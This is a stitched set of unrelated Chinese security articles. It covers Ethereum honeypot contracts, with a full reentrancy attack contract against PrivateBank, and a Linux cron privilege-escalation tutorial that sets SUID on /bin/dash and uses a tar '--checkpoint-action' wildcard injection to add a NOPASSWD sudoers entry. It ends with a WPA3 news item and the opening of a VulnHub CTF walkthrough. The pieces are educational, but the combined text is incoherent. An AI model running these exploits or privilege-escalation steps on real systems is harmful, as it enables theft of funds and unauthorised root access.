         if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
     }
     function withdraw(uint amount) public onlyOwner {
         require(amount <= this.balance);
         msg.sender.transfer(amount);
     }

根据关键代码的内容,如果我们可以通过 useEmergencyCode() 中的判断,那就可以将 owner 设置为我们的地址,然后通过 withdraw() 函数就可以取出合约中的以太币。

如果你也有了上述的分析,那么就需要学习一下 Solidity 中继承的相关知识参考链接5

该部分引用自参考链接5 重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。 情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。

contract A{  
    uint variable = 0;  
    function test1(uint a)  returns(uint){  
       variable++;  
       return variable;  
    }  
   function test2(uint a)  returns(uint){  
       variable += a;  
       return variable;  
    }  
}  
contract B is A{  
    uint variable = 0;  
    function test2(uint a) returns(uint){  
        variable++;  
        return variable;  
    }  
}  
====================  
contract B{  
    uint variable1 = 0;  
    uint variable2 = 0;  
    function test1(uint a)  returns(uint v){  
        variable1++;  
       return variable1;  
    }  
    function test2(uint a) returns(uint v){  
        variable2++;  
        return variable2;  
    }  
}  

根据样例中的代码,我们将该合约的核心代码修改如下:

contract TestBank is Owned {
    address public owner1 = msg.sender;
    modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }
    address public owner2 = msg.sender;
    uint256 ecode;
    uint256 evalue;
    function useEmergencyCode(uint256 code) public payable {
        if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
    }
    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }

变量 owner1 是父类 Owner 中的 owner 变量,而 owner2 是子类 TestBank 中的变量。useEmergencyCode()函数只会修改 owner2,而非 owner1,自然无法调用 withdraw()。 由于调用 useEmergencyCode() 时需要转作者设置的 evalue wei 的以太币,所以只会造成以太币白白丢失。

0×03 新颖的赌博游戏

区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。 本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。

3.1 加密轮盘赌轮:CryptoRoulette

Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol

智能合约地址:0x94602b0E2512DdAd62a935763BF1277c973B2758

合约关键代码如下:

 // CryptoRoulette
 //
 // Guess the number secretly stored in the blockchain and win the whole contract balance!
 // A new number is randomly chosen after each try.
 //
 // To play, call the play() method with the guessed number (1-20).  Bet price: 0.1 ether
 contract CryptoRoulette {
     uint256 private secretNumber;
     uint256 public lastPlayed;
     uint256 public betPrice = 0.1 ether;
     address public ownerAddr;
     struct Game {
         address player;
         uint256 number;
     }
     function shuffle() internal {
         // randomly set secretNumber with a value between 1 and 20
         secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
     }
     function play(uint256 number) payable public {
         require(msg.value >= betPrice && number <= 10);
         Game game;
         game.player = msg.sender;
         game.number = number;
         gamesPlayed.push(game);
         if (number == secretNumber) {
             // win!
             msg.sender.transfer(this.balance);
         }
         shuffle();
         lastPlayed = now;
     }
     function kill() public {
         if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
             suicide(msg.sender);
         }
     }
 }

该合约设置了一个 1-20 的随机数:secretNumber,玩家通过调用 play() 去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数 secretNumber。

这里存在两层猫腻。第一层猫腻就出在这个 play()。play() 需要满足两个条件才会运行:

msg.value >= betPrice,也就是每次竞猜都需要发送至少 0.1 个以太币。

number <= 10,竞猜的数字不能大于 10。

由于生成的随机数在 1-20 之间,而竞猜的数字不能大于 10, 那么如果随机数大于 10 呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过 kill() 函数取出智能合约中所有的以太币。

在实际的场景中,我们还遇到过生成的随机数在 1-10 之间,竞猜数字不能大于 10 的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节 3.2 开放地址彩票:OpenAddressLottery 中说到相关细节。有兴趣的读者可以读完 3.2节 后再回来重新分析一下该合约。

3.2 开放地址彩票:OpenAddressLottery

3.2.1 蜜罐智能合约分析

Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol

智能合约地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa

合约关键代码如下:

 contract OpenAddressLottery{
    struct SeedComponents{
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    address owner; //address of the owner
    uint private secretSeed; //seed used to calculate number of an address
    uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
    uint LuckyNumber = 1; //if the number of an address equals 1, it wins
    function forceReseed() { //reseed initiated by the owner - for testing purposes
    require(msg.sender==owner);
    SeedComponents s;
    s.component1 = uint(msg.sender);
    s.component2 = uint256(block.blockhash(block.number - 1));
    s.component3 = block.difficulty*(uint)(block.coinbase);
    s.component4 = tx.gasprice * 7;
    reseed(s); //reseed
    }
 }

OpenAddressLottery的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和 LuckyNumber 相等的话(LuckyNumber初始值为1),那么竞猜者将会获得 1.9 倍的奖金。

对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个 demo 来说一说 Solidity 编译器的一个 bug:

pragma solidity ^0.4.24;
contract OpenAddressLottery_test
{
    address public addr = 0xa;
    uint    public b    = 2;
    uint256 public c    = 3;
    bytes   public d    = "zzzz";
    struct SeedComponents{
        uint256 component1;
        uint256 component2;
        uint256 component3;
        uint256 component4;
    }
    function test() public{
        SeedComponents s;
        s.component1 = 252;
        s.component2 = 253;
        s.component3 = 254;
        s.component4 = 255;
    }
}

在运行 test() 之前,addr、b、c、d的值如下图所示:

6.png在运行了 test() 之后,各值均被覆盖。

7.png这个 bug 已经被提交给 官方,并将在 Solidity 0.5.0 中被修复。

8.png截止笔者发文,Solidity 0.5.0 依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该 bug 的影响。我们将会在 3.2.2节 中说一说这个 bug 可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节

对于该蜜罐智能合约而言,当 forceReseed()被调用后,s.component4 = tx.gasprice * 7; 将会覆盖掉 LuckyNumber 的值,使之为 7。而用户生成的竞猜数字只会是 1 或者 0,这也就意味着用户将永远不可能赢得彩票。

3.2.2 Solidity 0.4.x 结构体局部变量量引起的变量量覆盖

在 3.2.1节中,介绍了OpenAddressLottery 智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。

按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的 owner 变量定义在首部,便可以造成权限提升。

示例代码1如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):

pragma solidity ^0.4.0;
contract Test {
        address public owner;
        address public a;
        struct Seed {
                address x;
                uint256 y;
        }
        function Test() {
                owner = msg.sender;
                a = 0x1111111111111111111111111111111111111111;
        }
        function fake_foo(uint256 n) public {
                Seed s;
                s.x = msg.sender;
                s.y = n;
        }
}

9.png

如图所示,攻击者 0x583031d1113ad414f02576bd6afabfb302140225 在调用 fake_foo() 之后,成功将 owner 修改成自己。

在 2.3节 中,介绍了 Solidity 的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该 bug 也会影响到被继承的父类变量,示例代码2如下:

pragma solidity ^0.4.0;
contract Owner {
    address public owner;
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}
contract Test is Owner {
    struct Seed {
        address x;
    }
    function Test() {
        owner = msg.sender;
    }
    function fake_foo() public {
        Seed s;
        s.x = msg.sender;
    }
}

10.png

相比于示例代码1,示例代码2 更容易出现在现实生活中。由于 示例代码2 配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留 后门。

参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前 0.4.x 版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。

solidity 开发者将在 0.5.0 版本将该类问题归于错误处理。

3.3 山丘之王:KingOfTheHill

Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol

智能合约地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a

合约关键代码如下:

 contract Owned {
     address owner;    
         function Owned() {
         owner = msg.sender;
     }
     modifier onlyOwner{
         if (msg.sender != owner)
             revert();
                 _;
     }
 }
 contract KingOfTheHill is Owned {
     address public owner;
     function() public payable {
         if (msg.value > jackpot) {
             owner = msg.sender;
             withdrawDelay = block.timestamp + 5 days;
         }
         jackpot+=msg.value;
     }
     function takeAll() public onlyOwner {
         require(block.timestamp >= withdrawDelay);
         msg.sender.transfer(this.balance);
         jackpot=0;
     }
 }

这个合约的逻辑是:每次请求 fallback(),变量 jackopt 就是加上本次传入的金额。如果你传入的金额大于之前的 jackopt,那么 owner 就会变成你的地址。

看到这个代码逻辑,你是否感觉和 2.2节 、 2.3节 有一定类似呢?

让我们先看第一个问题:msg.value > jackopt是否可以成立?答案是肯定的,由于 jackopt+=msg.value 在 msg.value > jackopt 判断之后,所以不会出现 2.2节 合约永远比你钱多的情况。

然而这个合约存在与 2.3节 同样的问题。在 msg.value > jackopt 的情况下,KingOfTheHill 中的 owner 被修改为发送者的地址,但 Owned 中的 owner 依旧是合约创建人的地址。这也就意味着取钱函数 takeAll() 将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。

与之类似的智能合约还有 RichestTakeAll:

Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol

智能合约地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24

3.4 以太币竞争游戏:RACEFORETH

Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol

合约关键代码如下:

 contract RACEFORETH {
    uint256 public SCORE_TO_WIN = 100 finney;
    uint256 public speed_limit = 50 finney;
    function race() public payable {
        if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }
        require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);
        racerScore[msg.sender] += msg.value;
        racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);
        latestTimestamp = now;
        // YOU WON
        if (racerScore[msg.sender] >= SCORE_TO_WIN) {
            msg.sender.transfer(PRIZE);
        }
    }
    function () public payable {
        race();
    }
 }

这个智能合约有趣的地方在于它设置了最大转账上限是 50 finney,最小转账下限是 2 wei(条件是大于 1 wei,也就是最小 2 wei)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于 100 finney,那就可以取出庄家在初始化智能合约时放进的钱。

假设我们转账了 x 次,那我们最多可以转的金额如下:

 50 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3  ...... 50 * (1/2)^x

根据高中的知识可以知道,该数字将会永远小于 100

 50 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2 

而智能合约中设置的赢取条件就是总转账数量大于等于 100 finney。这也就意味着,没有人可以达到赢取的条件!

0×04 黑客的漏洞利用

利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。 DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。

4.1 私人银行(重入漏洞):PrivateBank

Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol

智能合约地址:0x95d34980095380851902ccd9a1fb4c813c2cb639

合约关键代码如下:

 function CashOut(uint _am)
{
        if(_am<=balances[msg.sender])
        {
                if(msg.sender.call.value(_am)())
                {
                        balances[msg.sender]-=_am;
                        TransferLog.AddMessage(msg.sender,_am,"CashOut");
                }
        }
}

了解过 DAO 事件以及重入漏洞可以很明显地看出,CashOut() 存在重入漏洞。

在了解重入漏洞之前,让我们先了解三个知识点:

Solidity 的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗 gas,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。

addr.call.value()(),通过 call() 的方式进行转账,会传递目前所有的 gas 进行调用。

回退函数fallback(): 回退函数将会在智能合约的 call 中被调用。

如果我们调用合约中的 CashOut(),关键代码的调用过程如下图:

11.png

由于回退函数可控,如果我们在回退函数中再次调用 CashOut(), 由于满足 _am<=balances[msg.sender] ,将会再次转账,因此不断循环,直至 合约中以太币被转完或 gas  消耗完。

12.png根据上述分析写出攻击的代码如下:

contract Attack {
    address owner;
    address victim;
    function Attack() payable { owner = msg.sender; }
    function setVictim(address target)  { victim = target; }
    function step1(uint256 amount)  payable {
        if (this.balance >= amount) {
            victim.call.value(amount)(bytes4(keccak256("Deposit()")));
        }
    }
    function step2(uint256 amount)  {
        victim.call(bytes4(keccak256("CashOut(uint256)")), amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack()  {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount)  {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);
    }
}

模拟的攻击步骤如下:

正常用户A(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向该合约存入 50 ether。

1.恶意攻击者 B(地址:0x583031d1113ad414f02576bd6afabfb302140225)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的 10 ether,还取出了 A 存入的 50 ether。用户 A的余额还是50 ether,而恶意攻击者 B 的余额也因为发生溢出变成 115792089237316195423570985008687907853269984665640564039407584007913129639936。

虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币

根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。

4.2 偷梁换柱的地址(访问控制):firstTest

Github地址:smart-contract-honeypots/firstTest.sol

智能合约地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164

合约关键代码如下:

   contract firstTest
  {
      address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
      address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
      address adr;
      uint256 public Limit= 1000000000000000000;
      function withdrawal()
      payable public
      {
          adr=msg.sender;
          if(msg.value>Limit)
          {  
              emails.delegatecall(bytes4(sha3("logEvent()")));
              adr.send(this.balance);
          }
      }
  }

逻辑看起去很简单,只要在调用 withdrawal() 时发送超过 1 ether,该合约就会把余额全部转给发送者。至于通过 delegatecall() 调用的 logEvent(),谁在意呢?

在 DASP TOP10 的漏洞中,排名第二的就是访问控制漏洞,其中就说到 delegatecall() 。

delegatecall() 和 call() 功能类似,区别仅在于 delegatecall() 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的 logEvent() 也可以修改该合约中的参数,包括 adr。

举个例子,在第一个合约中,我们定义了一个变量 adr,在第二个合约中通过 delegatecall() 调用第一个合约中的 logEvent()。第二个合约中的第一个变量就变成了 0×1111。这也就意味着攻击者完全有能力在 logEvent() 里面修改 adr 的值。

为了验证我们的猜测,使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址处的 opcode logEvent() 处的关键逻辑如下:

16.png

这也就意味着,在调用蜜罐智能合约 firstTest 中的 withdrawal() 时,emails.delegatecall(bytes4(sha3(“logEvent()”))); 将会判断第一个变量 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B,如果相等,就把 adr 设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr 参数被偷梁换柱!

4.3 仅仅是测试?(整数溢出):For_Test

Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol

智能合约地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229

合约关键代码如下:

 pragma solidity ^0.4.19;
 contract For_Test
 {
         function Test()
         payable
         public
         {
             if(msg.value> 0.1 ether)
             {
                 uint256 multi =0;
                 uint256 amountToTransfer=0;
                 for(var i=0;i<msg.value*2;i++)
                 {
                     multi=i*2;
                     if(multi<amountToTransfer)
                     {
                       break;  
                     }
                     else
                     {
                         amountToTransfer=multi;
                     }
                 }    
                 msg.sender.transfer(amountToTransfer);
             }
         }
 }

在说逻辑之前,我们需要明白两个概念:

msg.value 的单位是 wei。举个例子,当我们转 1 ether 时,msg.value = 1000000000000000000 (wei)

当我们使用 var i时,i 的数据类型将是 uint8,这个可以在 Solidity 官方手册上找到。

17.png如同官方文档所说,当 i = 255 后,执行 i++ ,将会发生整数溢出,i 的值重新变成 0,这样循环将不会结束。

18.png

根据这个智能合约的内容,只要转超过 0.1 ether 并调用 Test() ,将会进入循环最终得到 amountToTransfer 的值,并将 amountToTransfer wei 发送给访问者。在不考虑整数溢出的情况下,amountToTransfer 将会是 msg.value * 2。这也是这个蜜罐合约吸引人的地方。

正是由于 for 循环中的 i 存在整数溢出,在 i=255 执行 i++ 后, i = 0 导致 multi = 0 < amountToTransfer,提前终止了循环。

细细算来,转账至少了 0.1 ether(100000000000000000 wei) 的以太币,该智能合约转回 510 wei以太币。损失巨大。

与之类似的智能合约还有 Test1:

Github地址:smart-contract-honeypots/Test1.sol

4.4 股息分配(老版本编译器漏洞):DividendDistributor

Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol

智能合约地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba

合约关键代码如下:

 function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
 {
        if(! target.call.value(amount)() )
                throw;
         Transfer(amount, message, target, currentOwner);
 }
 function divest(uint amount) public {
        if ( investors[msg.sender].investment == 0 || amount == 0)
                throw;
         // no need to test, this will throw if amount > investment
         investors[msg.sender].investment -= amount;
         sumInvested -= amount; 
         this.loggedTransfer(amount, "", msg.sender, owner);
 }

该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用 Remix 模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:

19.png

在 Solidity 0.4.12 之前,存在一个bug,如果空字符串 ”" 用作函数调用的参数,则编码器会跳过它。

举例:当我们调用了 send(from,to,”",amount), 经过编译器处理后的调用则是 send(from,to,amount)。 编写测试代码如下:

pragma solidity ^0.4.0;
contract DividendDistributorv3{
    event Transfer(uint amount,bytes32 message,address target,address currentOwner);
    function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) 
    {
        Transfer(amount, message, target, currentOwner);
    }
    function divest() public {
        this.loggedTransfer(1, "a", 0x1, 0x2);
        this.loggedTransfer(1, "", 0x1, 0x2);
    }
}

在 Remix 中将编译器版本修改为 0.4.11+commit.68ef5810.Emscripten.clang后,执行 divest()函数结果如下:

21.png

在这个智能合约中也是如此。当我们需要调用 divest() 取出我们存进去的钱,最终将会调用 this.loggedTransfer(amount, “”, msg.sender, owner);。

因为编译器的 bug,最终调用的是 this.loggedTransfer(amount, msg.sender, owner);,具体的转账函数处就是 owner.call.value(amount) 。成功的将原本要转给 msg.sender()的以太币转给 合约的拥有者。合约拥有者成功盗币!

0×05 后记

在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。

这些蜜罐智能合约的目的性更强,显著区别与普通的 钓鱼 行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是 智能合约开发者、智能合约代码审计人员 或 拥有一定技术背景的黑客。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用 蜜罐 这个词,我认为是非常贴切的。

这也对 智能合约代码审计人员 提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器 bug 等),才能知其然也知其所以然。

对于 智能合约代码开发者 来说,先知攻 才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。

目前智能合约正处于新生阶段,流行的 solidity 语言也还没有发布正式 1.0 版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。

最后感谢 404实验室 的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。

针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

0×06 参考链接

Github smart-contract-honeypots

Github Solidlity-Vulnerable

The phenomenon of smart contract honeypots

Solidity 中文手册

Solidity原理(一):继承(Inheritance)

区块链安全 – DAO攻击事件解析

以太坊智能合约安全入门了解一下

Exposing Ethereum Honeypots

Solidity Bug Info

Uninitialised storage references should not be allowed

0×07 附录:已知蜜罐智能合约地址以及交易情况

基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,具体结果如下:

22.png下载地址:下载

* 本文地址:Seebug Paper,作者dawu&[email protected]知道创宇404区块链安全研究团队,转载注明来源

1.png

写在前面的话

今天给各位渗透测试同行们提供一种Linux提权方法,在这篇文章中,我们将介绍如何使用Cron Jobs来实现Linux下的权限提升,并获取远程主机的root访问权。

Cron Jobs能做什么?

Cron Jobs可以在服务器端完成一系列计划任务(设定时间自动执行命令等等),一般它主要用于执行系统管理员任务,例如数据备份或清理缓存目录等等。Cron这个词来源于“crontab”,而这个玩意儿存在于/etc目录中。

2.png

比如说,在crontab中,我们添加下列条目来实现每隔一个小时就自动打印出apache的错误日志“

1 0 ** * printf "" > /var/log/apache/error_log

Crontab文件重写

设置简陋配置的Cron任务

目标:在crontab的帮助下,设置一个新的任务来运行目标Python脚本,并清除指定目录中的全部数据。

假设目录名称为“cleanup“,它的数据每隔两分钟就会被自动清空一次。在开始之前我们需要在/home/cleanup中存储一些数据:

mkdir cleanup
cd cleanup
echo "hello freinds" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo "" > 1.php
echo "" > 2.php
ls

3.png

接下来,编写一个Python脚本来删除/home/cleanup目录中的数据,我们需要给这个脚本完整的r/w/x权限。

切换目录并创建脚本:

cd /tmp
nano cleanup.py

脚本代码:

#!/usr/bin/envpython
import os
import sys
try:
os.system('rm -r /home/cleanup/* ')
except:
sys.exit()

赋予权限:

chmod 777 cleanup.py

4.png

最后配合crontab设置计划任务,并每隔两分钟运行一次cleanup.py :

nano /etc/crontab
*/2*   * * *   root    /tmp /cleanup.py

5.png

验证结果:

cd /home/cleanup
ls
date
ls

6.png

大家可以看到数据每隔两分钟就会被清空一次。

后渗透利用

开启你的攻击设备,然后入侵目标系统,接下来直接进到提权步骤。假设我们已经通过ssh成功登录了目标设备,并访问了非root用户终端,然后执行以下命令:

cat /etc/crontab
ls -al /tmp/cleanup.py
cat /tmp/cleanup.py

我们此时可以发现,crontab每隔两分钟便会运行一次Python脚本,我们待会儿需要利用这一点。

7.png

启用/bin/dash的SUID,使用nano打开cleanup.py ,并将其中的“rm -r /tmp/*”替换成下列内容:

os.system('chmod u+s /bin/dash')

8.png

两分钟之后,它将会给/bin/dash设置SUID权限,运行之后你就能拿到root权限了:

/bin/dash
id
whoami

9.png

Crontab Tar通配符注入

环境搭建

目标:在crontab的帮助下设置一个计划任务,备份HTML目录中的tar文档。

注意,该目录需要具备可执行权限(x)。

10.png

然后每隔一分钟将/html目录中的tar文件备份到/var/backups中:

nano /etc/crontab
*/1*   * * *   root tar -zcf /var/backups/html.tgz/var/www/html/*

11.png

执行下列命令查看运行结果:

cd /var/backup
ls
date

从下图中我们可以看到,一分钟之后html.tgz文件已经生成了:

12.png

后渗透利用

开启你的攻击设备,然后入侵目标系统,接下来直接进到提权步骤。假设我们已经通过ssh成功登录了目标设备,并访问了非root用户终端。接下来,打开crontab查看计划任务是否已经设置成功:

cat /etc/crontab

13.png

执行下列命令来授权sudo权限,并登录用户账号,即实现通配符注入:

echo'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers'>test.sh
echo"" > "--checkpoint-action=exec=sh test.sh"
echo"" > --checkpoint=1
tarcf archive.tar *

一分钟之后,它将会给用户ignite赋予sudo权限:

sudo -l
sudo bash
whoami

14.png

* 参考来源:hackingarticles,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近日wifi联盟宣布推出WPA3安全标准,该标准旨在改善WPA2遗留的漏洞以及进一步增加wifi安全性。

vW4T-hencxtu9198118.png

Wi-Fi联盟正式推出了新的Wi-Fi安全标准WPA3,该标准将解决现有安全标准下已知的所有安全问题,并且将缓解诸如KRACK攻击和DEAUTH等无线攻击带来的影响。

目前,Wi-Fi联盟中不乏包括苹果、思科、因特尔、高通、微软等科技巨头。

WPA无线安全标准最初的设计便是希望通过使用AES高级加密协议来验证无线设备以及保证链接的安全性,以防止黑客的入侵。

新发布的安全标准将会取代目前广泛使用的WPA2,覆盖面高达数十亿设备。WPA3为支持Wi-Fi的设备进行重点改动,大大增强了配置、身份验证和加密功能。

Wi-Fi联盟主席兼首席执行官Edgar Figueroa表示:“在不断变化的安全领域,WPA3将率先提供最强大的保护功能。通过WPA3在无线领域又一次革新,我们也信守了对这个品牌的承诺。”

WPA3标准包括个人、企业两种模式,同时还可以应用于物联网领域。

f53e7cd7234a40129bcc666b3e493d5e.jpeg

新标准带来的改进包括:

1.针对暴力破解攻击的防护功能

WPA3针对离线字典暴力破解提供安全防护,即使用户没有使用较复杂的密码。

2.正向加密功能

WPA3具有强大的正向加密功能,即使攻击者成功破解密码也能够为用户提供通讯隐私。

3.增强了公共/开放区域的Wi-Fi网络下对用户隐私的保护

WPA3通过个性化数据加密增强了开放网络环境下对用户隐私的保护。任何设备和Wi-Fi接入点之间的通讯都是加密的,能够有效阻止MitM攻击。

并且通过使用OWE(Opportunistic Wireless Encryption)来防止用户被第三方窃听,同时为每位用户提供单独的加密方式,以保证设备与Wi-Fi接入点之间的网络信道安全。

4.增强关键网络的防护性

为类似于政府、金融机构使用的关键网络提供192位加密。

除此之外,Wi-Fi联盟还发布了Wi-Fi Easy Connect,这项新功能简化了物联网设备与无线网络之间的连接。该功能替代了此前的Wi-Fi保护设置(WPS),后者在使用过程中已经屡遭质疑。新功能允许用户仅通过扫描二维码便可以将新的Wi-Fi证书发送到新的设备中。

*参考来源:SecurityAffairs,FB小编Karunesh91编译,转载请注明来自FreeBuf.COM

0×01 前言

电影《Catch Me If You Can》的中译名是《猫鼠游戏》,《猫鼠游戏》是一部好莱坞罕见的犯罪传记题材影片,其以独特的视角重新演绎了社会工程学诈骗的诸多手段令人称赞。《猫鼠游戏》是由莱昂纳多、汤姆·汉克斯 、 克里斯托弗·沃肯三大演技派主演的犯罪传记类型电影,《猫鼠游戏》在美国上映后,引起了不小的反响和对人物历史的追溯热潮,而克里斯托弗·沃肯更凭借此片一举提名第75届奥斯卡金像奖最佳男配角。

影片具有很高的还原度和较强的创新性,极为罕见的向观众展现了诸多社会工程学诈骗手段,并且鞭辟入里,有所依据。著名黑客米特尼克在《欺骗的艺术》中曾说过,“社工诈骗其实就是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段。”这种欺诈方式相比与技术诈骗而言,更加难以防范,因为人性的弱点和劣根性永远是最易于被击溃的一道命门。

或许在观众看来,影片中的许多诈骗手段老套过时且无法适用于当下,但需要强调的是,在六七十年代的旧社会中,能够找出行政执法的漏洞和体制内诸多的不健全因素而加以利用,同时很好地洞悉人性进行大额诈骗,在当时,可以算作是极为杰出的”诈骗艺术家“。

本次靶机的主题也是来源于此,作者在靶机中以{MD5 Hash}的形式放置了8个flag,我们的目标就是拿到这八个flag,下面是作者给出的八个flag的提示信息:

The eight flags are in the form of flag{MD5 Hash} such as flag{1a79a4d60de6718e8e5b326e338ae533

Flag #1 Don’t go Home Frank! There’s a Hex on Your House.

Flag #2 Obscurity or Security?

Flag #3 Be Careful Agent, Frank Has Been Known to Intercept Traffic Our Traffic.

Flag #4 A Good Agent is Hard to Find.

Flag #5 The Devil is in the Details – Or is it Dialogue? Either Way, if it’s Simple, Guessable, or Personal it Goes Against Best Practices

Flag #6 Where in the World is Frank?

Flag #7 Frank Was Caught on Camera Cashing Checks and Yelling – I’m The Fastest Man Alive!

Flag #8 Franks Lost His Mind or Maybe it’s His Memory. He’s Locked Himself Inside the Building. Find the Code to Unlock the Door Before He Gets Himself Killed!

paramount-11729-Full-Image_GalleryBackground-en-US-1483994508346._RI_SX940_.jpg

0×02 环境配置

靶机下载地址:https://www.vulnhub.com/entry/skydog-2016-catch-me-if-you-can,166/

我使用的是VMware,导入ova文件,NAT方式连接后靶机自动获取IP

本次实战:

靶机IP:192.168.128.138

攻击机IP:192.168.128.128

intro_cwz1cz.png

0×03 实战演练

nmap上车,IP发现:

image.png

端口探测:

image.png

发现开放了三个端口,先从web入手:

image.png

查看网站源码,发现一个目录:

image.png

